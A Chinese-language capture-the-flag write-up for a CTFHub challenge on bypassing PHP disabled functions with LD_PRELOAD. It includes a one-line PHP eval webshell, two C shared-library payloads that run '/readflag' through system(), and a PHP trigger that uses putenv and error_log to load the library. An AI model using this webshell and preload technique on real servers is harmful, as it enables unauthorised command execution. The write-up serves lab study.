LD_PRELOAD
題目描述
-
目標:獲取服務器上
/flag文件中的 flag。需要了解 Linux LD_PRELOAD 環境變量。 -
LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。 putenv()用來改變或增加環境變量的內容. 參數string 的格式為name=value, 如果該環境變量原先存在, 則變量內容會依參數string 改變, 否則此參數內容會成為新的環境變量.
——出自CTFHub官方WP
解題過程
簡單測試
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
給了一個小馬,直接用蟻劍連接

可以看到返回了ret=127,意思是所有命令執行的指令都無法使用
查看phpinfo
直接訪問/?ant=phpinfo();
禁用了很多函數
pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
dl
mail
system
原本想用mail的,但是被禁了,不過error_log()也可以調用sendmail命令
error_log ( string
$message, int$message_type= 0 , string$destination= ? , string$extra_headers= ? ) : bool把錯誤信息發送到 web 服務器的錯誤日志,或者到一個文件里。
編譯動態鏈接庫
因為題目環境給了
readflag文件,所以直接調用即可
在*unix下創建 hack.c
#include <stdlib.h>
#include <stdio.h>
void payload() {
system("/readflag > /tmp/flag");
}
int getuid(){
if(getenv("LD_PRELOAD") == NULL) return 0;
unsetenv("LD_PRELOAD");
payload();
}
還有一種優化版
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__)) void xxx (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}
用gcc -fPIC -shared hack.c -o hack.so編譯出動態鏈接庫
上傳到/tmp/目錄下,一般來說/tmp/目錄都是有讀寫權限的
寫調用代碼
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("",1);
echo "ok";
?>
訪問頁面,然后讀取flag即可
